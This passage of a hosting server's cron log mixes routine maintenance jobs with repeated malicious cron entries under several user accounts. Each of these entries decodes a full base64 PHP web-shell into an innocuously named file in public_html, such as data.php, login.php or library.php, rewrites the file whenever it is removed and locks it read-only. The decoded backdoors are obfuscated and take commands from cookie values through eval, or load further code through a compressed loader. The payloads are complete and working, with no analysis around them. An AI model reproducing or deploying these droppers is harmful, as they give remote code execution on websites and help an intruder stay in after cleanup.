ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:00:02 medusa CROND[11589]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11596]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11593]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 08:00:02 medusa CROND[11598]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11599]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11603]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:00:02 medusa CROND[11592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:00:02 medusa CROND[11600]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11613]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:00:02 medusa CROND[11601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 08:00:02 medusa CROND[11606]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 08:01:01 medusa CROND[13555]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:01:01 medusa CROND[13556]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 08:01:01 medusa CROND[13557]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:01:01 medusa CROND[13558]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:01:01 medusa CROND[13560]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:01:01 medusa CROND[13561]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:01:01 medusa CROND[13562]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:01:01 medusa CROND[13565]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:01:01 medusa CROND[13566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:01:01 medusa CROND[13567]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:01:01 medusa CROND[13571]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 08:01:01 medusa CROND[13569]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:01:01 medusa CROND[13570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:01:01 medusa CROND[13575]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 08:01:01 medusa run-parts(/etc/cron.hourly)[13556]: starting 0anacron
Jun  7 08:01:01 medusa run-parts(/etc/cron.hourly)[13662]: finished 0anacron
Jun  7 08:02:02 medusa CROND[15283]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:02:02 medusa CROND[15284]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:02:02 medusa CROND[15285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 08:02:02 medusa CROND[15286]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:02:02 medusa CROND[15287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:02:02 medusa CROND[15289]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:02:02 medusa CROND[15288]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:02:02 medusa CROND[15291]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:02:02 medusa CROND[15293]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:02:02 medusa CROND[15294]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:02:02 medusa CROND[15297]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeW